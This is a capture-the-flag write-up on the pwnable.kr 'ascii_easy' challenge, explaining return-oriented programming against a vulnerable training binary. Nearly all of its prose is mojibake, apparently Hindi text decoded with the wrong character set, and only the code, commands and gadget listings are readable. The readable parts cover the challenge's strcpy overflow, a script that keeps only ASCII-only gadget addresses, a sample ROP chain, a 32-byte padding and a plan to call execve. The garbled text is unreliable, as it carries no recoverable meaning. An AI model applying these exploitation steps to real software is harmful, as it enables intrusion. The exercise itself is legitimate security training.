рд╕рдорд╕реНрдпрд╛ рдХреЛ рд╣рд▓ рдХрд░рдиреЗ рдореЗрдВ pwnable.kr 26 - ascii_easyред рд╣рдо рдПрдХ рдмрд╛рд░ рдФрд░ рд╕рднреА рдХреЗ рд▓рд┐рдП рдЦрд░реЛрдВрдЪ рд╕реЗ рдЖрд░рдУрдкреА рдЧреИрдЬреЗрдЯреНрд╕ рд╕реЗ рдирд┐рдкрдЯрддреЗ рд╣реИрдВ

рдЫрд╡рд┐

рдЗрд╕ рд▓реЗрдЦ рдореЗрдВ, рд╣рдо pwnable.kr рд╕рд╛рдЗрдЯ рд╕реЗ 26 рд╡реЗрдВ рдХрд╛рд░реНрдп рдХреЛ рд╣рд▓ рдХрд░реЗрдВрдЧреЗ рдФрд░ рд╕рдордЭреЗрдВрдЧреЗ рдХрд┐ ROP рдХреНрдпрд╛ рд╣реИ, рдпрд╣ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ, рдпрд╣ рдЗрддрдирд╛ рдЦрддрд░рдирд╛рдХ рдХреНрдпреЛрдВ рд╣реИ, рдФрд░ рдЕрддрд┐рд░рд┐рдХреНрдд рдЬрдЯрд┐рд▓ рд╕реЗрдирд╛рдирд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде ROP рд╢реНрд░реГрдВрдЦрд▓рд╛ рдХреА рд░рдЪрдирд╛ рдХрд░реЗрдВред

рд╕рдВрдЧрдардирд╛рддреНрдордХ рдЬрд╛рдирдХрд╛рд░реА
рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЙрди рд▓реЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рдЬреЛ рд╕реВрдЪрдирд╛ рдФрд░ рдХрдВрдкреНрдпреВрдЯрд░ рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рдХрд┐рд╕реА рднреА рдХреНрд╖реЗрддреНрд░ рдореЗрдВ рдХреБрдЫ рдирдпрд╛ рд╕реАрдЦрдирд╛ рдФрд░ рд╡рд┐рдХрд╕рд┐рдд рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рдореИрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╢реНрд░реЗрдгрд┐рдпреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд▓рд┐рдЦреВрдВрдЧрд╛ рдФрд░ рдмрд╛рдд рдХрд░реВрдВрдЧрд╛:

  • PWN;
  • рдХреНрд░рд┐рдкреНрдЯреЛрдЧреНрд░рд╛рдлреА (рдХреНрд░рд┐рдкреНрдЯреЛ);
  • рдиреЗрдЯрд╡рд░реНрдХ рдЯреЗрдХреНрдиреЛрд▓реЙрдЬреАрдЬ (рдиреЗрдЯрд╡рд░реНрдХ);
  • рд░рд┐рд╡рд░реНрд╕ (рд░рд┐рд╡рд░реНрд╕ рдЗрдВрдЬреАрдирд┐рдпрд░рд┐рдВрдЧ);
  • рд╕реНрдЯреЗрдЧреНрдиреЛрдЧреНрд░рд╛рдлрд╝реА (рд╕реНрдЯреЗрдЧреНрдиреЛ);
  • WEB рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреА рдЦреЛрдЬ рдФрд░ рдЙрдирдХрд╛ рджреЛрд╣рдиред

рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдореИрдВ рдЕрдкрдиреЗ рдЕрдиреБрднрд╡ рдХреЛ рдХрдВрдкреНрдпреВрдЯрд░ рдлреЛрд░реЗрдВрд╕рд┐рдХ, рдореИрд▓рд╡реЗрдпрд░ рдФрд░ рдлрд░реНрдорд╡реЗрдпрд░ рдХреЗ рд╡рд┐рд╢реНрд▓реЗрд╖рдг, рд╡рд╛рдпрд░рд▓реЗрд╕ рдиреЗрдЯрд╡рд░реНрдХ рдФрд░ рд╕реНрдерд╛рдиреАрдп рдХреНрд╖реЗрддреНрд░ рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рд╣рдорд▓реЗ, рдкреЗрдВрдЯреЗрд╕реНрдЯ рдХрд╛ рд╕рдВрдЪрд╛рд▓рди рдХрд░рдиреЗ рдФрд░ рдХрд╛рд░рдирд╛рдореЗ рд▓рд┐рдЦрдиреЗ рдореЗрдВ рд╕рд╛рдЭрд╛ рдХрд░реВрдВрдЧрд╛ред

рддрд╛рдХрд┐ рдЖрдк рдирдП рд▓реЗрдЦ, рд╕реЙрдлреНрдЯрд╡реЗрдпрд░ рдФрд░ рдЕрдиреНрдп рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рди рд╕рдХреЗрдВ, рдореИрдВрдиреЗ рдЯреЗрд▓реАрдЧреНрд░рд╛рдо рдореЗрдВ рдПрдХ рдЪреИрдирд▓ рдмрдирд╛рдпрд╛ рдФрд░ рдЖрдИрд╕реАрдбреА рдХреЗ рдХреНрд╖реЗрддреНрд░ рдореЗрдВ рдХрд┐рд╕реА рднреА рдореБрджреНрджреЗ рдкрд░ рдЪрд░реНрдЪрд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рдореВрд╣ рдмрдирд╛рдпрд╛ред рд╕рд╛рде рд╣реА, рдореИрдВ рд╡реНрдпрдХреНрддрд┐рдЧрдд рд░реВрдк рд╕реЗ рдЖрдкрдХреЗ рд╡реНрдпрдХреНрддрд┐рдЧрдд рдЕрдиреБрд░реЛрдзреЛрдВ, рдкреНрд░рд╢реНрдиреЛрдВ, рд╕реБрдЭрд╛рд╡реЛрдВ рдФрд░ рд╕рд┐рдлрд╛рд░рд┐рд╢реЛрдВ рдкрд░ рд╡реНрдпрдХреНрддрд┐рдЧрдд рд░реВрдк рд╕реЗ рд╡рд┐рдЪрд╛рд░ рдХрд░реВрдВрдЧрд╛ рдФрд░ рд╕рднреА рдХрд╛ рдЬрд╡рд╛рдм рджреВрдВрдЧрд╛ ред

рд╕рднреА рдЬрд╛рдирдХрд╛рд░реА рдХреЗрд╡рд▓ рд╢реИрдХреНрд╖рд┐рдХ рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рдкреНрд░рджрд╛рди рдХреА рдЬрд╛рддреА рд╣реИред рдЗрд╕ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХрд╛ рд▓реЗрдЦрдХ рдЗрд╕ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХрд╛ рдЕрдзреНрдпрдпрди рдХрд░рдиреЗ рдХреЗ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк рдкреНрд░рд╛рдкреНрдд рдЬреНрдЮрд╛рди рдФрд░ рд╡рд┐рдзрд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк рдХрд┐рд╕реА рдХреЛ рд╣реБрдП рдиреБрдХрд╕рд╛рди рдХреЗ рд▓рд┐рдП рдХреЛрдИ рдЬрд╝рд┐рдореНрдореЗрджрд╛рд░реА рдирд╣реАрдВ рдЙрдард╛рддрд╛ рд╣реИред

Ascii_easy рдиреМрдХрд░реА рд╕рдорд╛рдзрд╛рди


рд╣рдо рджреВрд╕рд░реЗ рдЦрдВрдб рдХреЛ рдЬрд╛рд░реА рд░рдЦрддреЗ рд╣реИрдВред рдореИрдВ рддреБрд░рдВрдд рдХрд╣реВрдВрдЧрд╛ рдХрд┐ рдпрд╣ рдкрд╣рд▓реЗ рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдЕрдзрд┐рдХ рдХрдард┐рди рд╣реИ, рд▓реЗрдХрд┐рди рдЗрд╕ рдмрд╛рд░ рд╡реЗ рд╣рдореЗрдВ рдХрд╛рд░реНрдпрдХреНрд░рдо рдХреЗ рд╕реНрд░реЛрдд рдХреЛрдб рдкреНрд░рджрд╛рди рдХрд░рддреЗ рд╣реИрдВред рдпрд╣рд╛рдВ рдЪрд░реНрдЪрд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдордд рднреВрд▓рдирд╛ (https://t.me/RalfHackerPublicChat) рдФрд░ рдпрд╣рд╛рдБ (https://t.me/RalfHackerChannel)ред рдЪрд▓рд┐рдП рд╢реБрд░реВ рдХрд░рддреЗ рд╣реИрдВред

Ascii_easy рдХреИрдкреНрд╢рди рдЖрдЗрдХрди рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВред рд╣рдореЗрдВ ssh рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрддрд╛ рдФрд░ рдкреЛрд░реНрдЯ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред

рдЫрд╡рд┐

рд╣рдо SSH рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЬреБрдбрд╝реЗ рд╣реБрдП рд╣реИрдВ рдФрд░ рдЭрдВрдбрд╛, рдХрд╛рд░реНрдпрдХреНрд░рдо, рд╕реНрд░реЛрдд рдХреЛрдб рдФрд░ libc рд▓рд╛рдЗрдмреНрд░реЗрд░реА рджреЗрдЦрддреЗ рд╣реИрдВред

рдЫрд╡рд┐

рд╕реНрд░реЛрдд рдХреЛрдб рджреЗрдЦрддреЗ рд╣реИрдВред

#include <sys/mman.h> #include <sys/stat.h> #include <unistd.h> #include <stdio.h> #include <string.h> #include <fcntl.h> #define BASE ((void*)0x5555e000) int is_ascii(int c){ if(c>=0x20 && c<=0x7f) return 1; return 0; } void vuln(char* p){ char buf[20]; strcpy(buf, p); } void main(int argc, char* argv[]){ if(argc!=2){ printf("usage: ascii_easy [ascii input]\n"); return; } size_t len_file; struct stat st; int fd = open("/home/ascii_easy/libc-2.15.so", O_RDONLY); if( fstat(fd,&st) < 0){ printf("open error. tell admin!\n"); return; } len_file = st.st_size; if (mmap(BASE, len_file, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE, fd, 0) != BASE){ printf("mmap error!. tell admin\n"); return; } int i; for(i=0; i<strlen(argv[1]); i++){ if( !is_ascii(argv[1][i]) ){ printf("you have non-ascii byte!\n"); return; } } printf("triggering bug...\n"); vuln(argv[1]); } 

рдЪрд▓реЛ рдЗрд╕реЗ рдмреНрд▓реЙрдХ рдореЗрдВ рд╕реЙрд░реНрдЯ рдХрд░рддреЗ рд╣реИрдВред рдХрд╛рд░реНрдпрдХреНрд░рдо рдПрдХ рддрд░реНрдХ рдХреЗ рд░реВрдк рдореЗрдВ рдПрдХ рд╕реНрдЯреНрд░рд┐рдВрдЧ рд▓реЗрддрд╛ рд╣реИред

рдЫрд╡рд┐

рдЗрд╕ рд╕реНрдерд┐рддрд┐ рдореЗрдВ, рд╕реНрдЯреНрд░рд┐рдВрдЧ рдореЗрдВ рдХреЗрд╡рд▓ рдПрд╕рд╕реАрдЖрдИ рдЕрдХреНрд╖рд░ рд╢рд╛рдорд┐рд▓ рд╣реЛрдиреЗ рдЪрд╛рд╣рд┐рдПред

рдЫрд╡рд┐

рдПрдХ рдЬреНрдЮрд╛рдд рдЖрдзрд╛рд░ рдкрддреЗ рдХреЗ рд╕рд╛рде рдПрдХ рдореЗрдореЛрд░реА рдХреНрд╖реЗрддреНрд░ рдФрд░ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЛ рдкрдврд╝рдирд╛, рд▓рд┐рдЦрдирд╛ рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛ рднреА рдЖрд╡рдВрдЯрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдЗрд╕ рдХреНрд╖реЗрддреНрд░ рдореЗрдВ libc рдкреБрд╕реНрддрдХрд╛рд▓рдп рд░рдЦрд╛ рдЧрдпрд╛ рд╣реИред

рдЫрд╡рд┐

рд╕рдм рдХреБрдЫ рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдХрд╛рд░реНрдпрдХреНрд░рдо рдореЗрдВ рдПрдХ рдХрдордЬреЛрд░ рдХрд╛рд░реНрдп рд╣реИред

рдЫрд╡рд┐

рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрджрд┐ рдЖрдк рдХрд╛рд░реНрдпрдХреНрд░рдо рдХреА рдЬрд╛рдВрдЪ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдЗрд╕рдореЗрдВ рдПрдХ рдЧреИрд░-рдорд╛рдирдХ рд╕реНрдЯреИрдХ (рдкреИрд░рд╛рдореАрдЯрд░ NX) рд╣реИред рд╣рдо рдЖрд░рдУрдкреА рдХрд╛ рд╕рдВрдХрд▓рди рдХрд░рдХреЗ рдлреИрд╕рд▓рд╛ рдХрд░реЗрдВрдЧреЗред

рдЫрд╡рд┐

рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХреЛ рдЦреБрдж рд╕реЗ рдХреЙрдкреА рдХрд░рддреЗ рд╣реИрдВред

 scp -P2222 ascii_easy@pwnable.kr:/home/ascii_easy/libc-2.15.so /root/ 

рдЕрдм рдЖрдкрдХреЛ рдЖрд░рдУрдкреА рд╢реНрд░реГрдВрдЦрд▓рд╛ рдХреЛ рдЗрдХрдЯреНрдард╛ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, ROP-рдЧреИрдЬреЗрдЯ рдЯреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред

 ROPgadget --binary libc-2.15.so > gadgets.txt 

рдЧреИрдЬреЗрдЯреНрд╕.рдЯреИрдХреНрд╕ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рд╕рднреА рд╕рдВрднрд╛рд╡рд┐рдд рдЖрд░рдУрдкреА рдЪреЗрди рд╣реИрдВ (рдЙрджрд╛рд╣рд░рдг 10 рдХрд╛ рдЙрджрд╛рд╣рд░рдг рдиреАрдЪреЗ рдкреНрд░рд╕реНрддреБрдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ)ред

рдЫрд╡рд┐

рд╕рдорд╕реНрдпрд╛ рдпрд╣ рд╣реИ рдХрд┐ рд╣рдореЗрдВ рдЙрди рд╡рд┐рдХрд▓реНрдкреЛрдВ рдХрд╛ рдЪрдпрди рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдЬрд┐рдирдореЗрдВ рдХреЗрд╡рд▓ рдПрд╕рд╕реАрдЖрдИ рдЕрдХреНрд╖рд░ рд╢рд╛рдорд┐рд▓ рд╣реИрдВред рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдо рдПрдХ рд╕рд╛рдзрд╛рд░рдг рдлрд╝рд┐рд▓реНрдЯрд░ рд▓рд┐рдЦрддреЗ рд╣реИрдВ рдЬреЛ рдХреЗрд╡рд▓ рдЙрди рдкрддреЛрдВ рдХреЛ рдЫреЛрдбрд╝ рджреЗрдЧрд╛, рдЬрд┐рдирдореЗрдВ рд╕реЗ рдкреНрд░рддреНрдпреЗрдХ рдмрд╛рдЗрдЯ 0x20 рд╕реЗ 0x7f рд╕рдорд╛рд╡реЗрд╢реА рдЕрдВрддрд░рд╛рд▓ рдХреЗ рдЕрдВрддрд░реНрдЧрдд рдЖрддрд╛ рд╣реИред

 def addr_check(addr): ret = True for i in range(0,8,2): if int(addr[i:i+2], 16) not in range(0x20, 0x80): ret = False return ret f = open('gadgets.txt', 'rt') old_gadgets = f.read().split('\n')[2:-3] f.close() new_gadgets = "" base_addr = 0x5555e000 for gadget in old_gadgets: addr = base_addr + int(gadget.split(' : ')[0], 16) if addr_check(hex(addr)[2:]): new_gadgets += (hex(addr) + ' :' + ":".join(gadget.split(':')[1:]) + '\n') f = open('new_gadgets.txt', 'wt') f.write(new_gadgets) f.close() 

рдкреНрд░реЛрдЧреНрд░рд╛рдо рдЪрд▓рд╛рдПрдБ рдФрд░ ROP рдЧреИрдЬреЗрдЯ рдкрддреЛрдВ рдХреА рдПрдХ рд╕реВрдЪреА рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ рдЬреЛ рд╣рдореЗрдВ рд╕рдВрддреБрд╖реНрдЯ рдХрд░рддреЗ рд╣реИрдВред

рдЧреИрдЬреЗрдЯреНрд╕ рдХреЛ рд░реЛрдк рд▓реЗрдВ


рдХрдИ рдиреЗ рд╡рд╛рдкрд╕реА рдЙрдиреНрдореБрдЦ рдкреНрд░реЛрдЧреНрд░рд╛рдорд┐рдВрдЧ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдорд╛рдВрдЧреАред рдареАрдХ рд╣реИ, рдЖрдЗрдП рдЙрджрд╛рд╣рд░рдгреЛрдВ рдХреЗ рд╕рд╛рде рдЙрджрд╛рд╣рд░рдг рджреЗрдВред рдорд╛рди рд▓реАрдЬрд┐рдП рдХрд┐ рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдПрдХ рдмрдлрд░ рдЕрддрд┐рдкреНрд░рд╡рд╛рд╣ рднреЗрджреНрдпрддрд╛ рдФрд░ рдПрдХ рдЕрд▓реМрдХрд┐рдХ рдвреЗрд░ рд╣реИред

рдЖрд░рдУрдкреА рдЧреИрдЬреЗрдЯ рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХрд╛ рдПрдХ рд╕рдВрдЧреНрд░рд╣ рд╣реИ рдЬреЛ рдПрдХ рд░рд┐рдЯрд░реНрди рд╕реНрдЯреЗрдЯрдореЗрдВрдЯ рд░рд┐рдЯ рдХреЗ рд╕рд╛рде рд╕рдорд╛рдкреНрдд рд╣реЛрддрд╛ рд╣реИред рдПрдХ рдирд┐рдпрдо рдХреЗ рд░реВрдк рдореЗрдВ, рдЧреИрдЬреЗрдЯ рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдЕрдВрдд рд╕реЗ рдЪреБрдирддреЗ рд╣реИрдВред рдПрдХ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд░реВрдк рдореЗрдВ рдХреБрдЫ рдХрд╛рд░реНрдп рдХрд░рддреЗ рд╣реИрдВред рдЙрдирдореЗрдВ рд╕реЗ рдкреНрд░рддреНрдпреЗрдХ рдореЗрдВ, рдЖрд░рдУрдкреА рдЧреИрдЬреЗрдЯ (рд▓рд╛рд▓ рд░рдВрдЧ рдореЗрдВ рд╣рд╛рдЗрд▓рд╛рдЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛) рдХрд╛ рдЪрдпрди рдХрд░реЗрдВред

рдЫрд╡рд┐

рдЫрд╡рд┐

рдЫрд╡рд┐

рдЗрд╕ рдкреНрд░рдХрд╛рд░, рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдХрдИ ROP рдЪреЗрди рд╣реИрдВ:

 0x000ed7cb: mov eax, edx; pop ebx; pop esi; ret 0x000ed7cd: pop ebx; pop esi; ret 0x000ed7ce: pop esi; ret 0x00033837: pop ebx; ret 0x0010ec1f: add esp, 0x2c; ret 

рдЕрдм рдЖрдЗрдП рдЬрд╛рдиреЗрдВ рдХрд┐ ROP рдЪреЗрди рдХрд┐рд╕ рдкреНрд░рдХрд╛рд░ рдХреА рдЬрд╛рдирд╡рд░ рд╣реИрдВред рдЬрдм рдмрдлрд░ рдУрд╡рд░рдлреНрд▓реЛ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рд╣рдо рд░рд┐рдЯрд░реНрди рдПрдбреНрд░реЗрд╕ рдХреЛ рдлрд┐рд░ рд╕реЗ рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВред рдорд╛рди рд▓реАрдЬрд┐рдП рдХрд┐ рдЬрд┐рд╕ рд╕рдордп рд▓рдХреНрд╖реНрдп рдирд┐рд░реНрджреЗрд╢ рдореЗрдВ рд░рд┐рдЯ рдирд┐рд░реНрджреЗрд╢ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП, рдпрд╛рдиреА рд╕реНрдЯреИрдХ рдХреЗ рд╢реАрд░реНрд╖ рдкрд░ рдХреБрдЫ рд╡реИрдз рдкрддрд╛ рд╣реИред

рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рд╣рдо рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ:

 add esp, 0x2c add esp, 0x2c add esp, 0x2c mov eax, edx pop ebx pop esi ret 

рд╣рдореЗрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкрддреЛрдВ рдХреЗ рд╕рд╛рде рд╡реИрдз рд░рд┐рдЯрд░реНрди рдкрддреЗ рдХреЛ рдлрд┐рд░ рд╕реЗ рд▓рд┐рдЦрдирд╛ рд╣реЛрдЧрд╛:

 0x0010ec1f 0x0010ec1f 0x0010ec1f 0x000ed7cb 

рдпрд╣ рд╕рдордЭрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдпрд╣ рдХреНрдпреЛрдВ рдХрд╛рдо рдХрд░реЗрдЧрд╛, рдЖрдЗрдП рдиреАрдЪреЗ рджреА рдЧрдИ рдЫрд╡рд┐ рдХреЛ рджреЗрдЦреЗрдВред

рдЫрд╡рд┐

рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдПрдХ рд╡реИрдз рдкрддреЗ рдкрд░ рд▓реМрдЯрдиреЗ рдХреЗ рдмрдЬрд╛рдп, рд╣рдо рдЕрдкрдиреА рдЖрд░рдУрдкреА рд╢реНрд░реГрдВрдЦрд▓рд╛ рдХреЗ рдкрд╣рд▓реЗ рдкрддреЗ рдкрд░ рдЬрд╛рддреЗ рд╣реИрдВред рдкрд╣рд▓реЗ рдХрдорд╛рдВрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рд░рд┐рдЯ рдирд┐рд░реНрджреЗрд╢ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЛ рд╕реНрдЯреИрдХ рдкрд░ рдЕрдЧрд▓реЗ рдкрддреЗ рдкрд░ рд▓реЗ рдЬрд╛рдПрдЧрд╛, рдЕрд░реНрдерд╛рдд рджреВрд╕рд░реА рдХрдорд╛рдВрдб рдкрд░ред рджреВрд╕рд░рд╛ рдХрдорд╛рдВрдб рднреА рд░рд┐рдЯ рдХреЗ рд╕рд╛рде рд╕рдорд╛рдкреНрдд рд╣реЛрддрд╛ рд╣реИ, рдЬреЛ рдЕрдЧрд▓реЗ рдХрдорд╛рдВрдб рдкрд░ рднреА рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдкрддрд╛ рд╕реНрдЯреИрдХ рдкрд░ рдЗрдВрдЧрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдЗрд╕ рдкреНрд░рдХрд╛рд░, рд╣рдо рдкрд╣рд▓реЗ рд╕рдВрдХрд▓рд┐рдд рдХреЛрдб рдХрд╛ рдирд┐рд╖реНрдкрд╛рджрди рдкреНрд░рд╛рдкреНрдд рдХрд░рддреЗ рд╣реИрдВред

ROP ascii_easy рдХреЗ рд▓рд┐рдП рдЬрдВрдЬреАрд░


рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рд╣рдо рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдПрдВрдЧреЗ рдХрд┐ рдмрдлрд░ рдХреЛ рдУрд╡рд░рдлреНрд▓реЛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣рдореЗрдВ рдХрд┐рддрдиреЗ рдмрд╛рдЗрдЯреНрд╕ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЛ gdb рдореЗрдВ рдЪрд▓рд╛рдПрдВ рдФрд░ рдЗрдирдкреБрдЯ рдХреЛ рд▓рд╛рдЗрди рдлрд╝реАрдб рдХрд░реЗрдВред

рдЫрд╡рд┐

рдФрд░ рдХрд╛рд░реНрдпрдХреНрд░рдо "bbbb" рдкрддреЗ рдкрд░ рдХреНрд░реИрд╢ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рдкреИрдбрд┐рдВрдЧ 32 рд╡рд░реНрдг рд╣реИред

рдЖрд░рдУрдкреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рд╕рдмрд╕реЗ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рддрд░реАрдХрд╛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╣реИред рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЧреБрдЬрд░рддрд╛ рдореЗрдВ рд╕реБрд╡рд┐рдзрд╛ рдирд┐рд╣рд┐рдд рд╣реИред рдЖрдЗрдП рдЗрд╕ рдлрд╝рдВрдХреНрд╢рди рдХреЛ libc рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдореЗрдВ рджреЗрдЦреЗрдВред рдпрд╣ GDB рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

рдЫрд╡рд┐

рд▓реЗрдХрд┐рди рдЕрдЧрд░ рд╣рдо рдореЗрдореЛрд░реА рдореЗрдВ рдлрдВрдХреНрд╢рди рдХреЛ рд▓рд╛рдЗрдмреНрд░реЗрд░реА рд▓реЛрдбрд┐рдВрдЧ рдПрдбреНрд░реЗрд╕ рд╕реЗ рдЬреЛрдбрд╝рддреЗ рд╣реИрдВ, рддреЛ рд╣рдо рджреЗрдЦреЗрдВрдЧреЗ рдХрд┐ рдпрд╣ рдПрд╕рд╕реАрдЖрдИ рдХрдВрдбреАрд╢рди рдХреЛ рд╕рдВрддреБрд╖реНрдЯ рдирд╣реАрдВ рдХрд░реЗрдЧрд╛ред

рдЫрд╡рд┐

рд▓реЗрдХрд┐рди рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдФрд░ рд╡рд┐рдХрд▓реНрдк рд╣реИред рдпрд╣ рдПрдХ рд╕рд┐рд╕реНрдЯрдо рдХреЙрд▓ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╣реИред рд▓рд┐рдирдХреНрд╕ рдкрд░, рдкреНрд░рддреНрдпреЗрдХ рд╕рд┐рд╕реНрдЯрдо рдХреЙрд▓ рдХрд╛ рдЕрдкрдирд╛ рдирдВрдмрд░ рд╣реЛрддрд╛ рд╣реИред рдпрд╣ рдирдВрдмрд░ EAX рд░рдЬрд┐рд╕реНрдЯрд░ рдореЗрдВ рд╕реНрдерд┐рдд рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП, рдЗрд╕рдХреЗ рдмрд╛рдж int 0x80 рдЗрдВрдЯрд░рдкреНрдЯ рдХреЙрд▓ рдЖрдПрдЧрд╛ред рд╕рдВрдкреВрд░реНрдг рд╕рд┐рд╕рд▓ рдЯреЗрдмрд▓ рдХреЛ рдпрд╣рд╛рдБ рджреЗрдЦрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ ред

рдЫрд╡рд┐

рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдлрд╝рдВрдХреНрд╢рди рдореЗрдВ рд╕рдВрдЦреНрдпрд╛ 11 рд╣реИ, рдЕрд░реНрдерд╛рдд, 0xb рдХреЛ EAX рд░рдЬрд┐рд╕реНрдЯрд░ рдореЗрдВ рд╕реНрдерд┐рдд рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред рдкреИрд░рд╛рдореАрдЯрд░ рдИрдмреАрдПрдХреНрд╕ рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ - рдкреИрд░рд╛рдореАрдЯрд░ рд▓рд╛рдЗрди рдХреА рд╢реБрд░реБрдЖрдд рдореЗрдВ рдкрддрд╛, рдИрд╕реАрдПрдХреНрд╕ - рдкреИрд░рд╛рдореАрдЯрд░ рд▓рд╛рдЗрди рдФрд░ EDX рдХреЛ рд╕реВрдЪрдХ рдкрд░ рдкрддрд╛ - рд╕реВрдЪрдХ рдХреЛ рддрд░реНрдХ рдкрд░реНрдпрд╛рд╡рд░рдг рдЪрд░ рдкрд░ рдкрддрд╛ред

рдЫрд╡рд┐

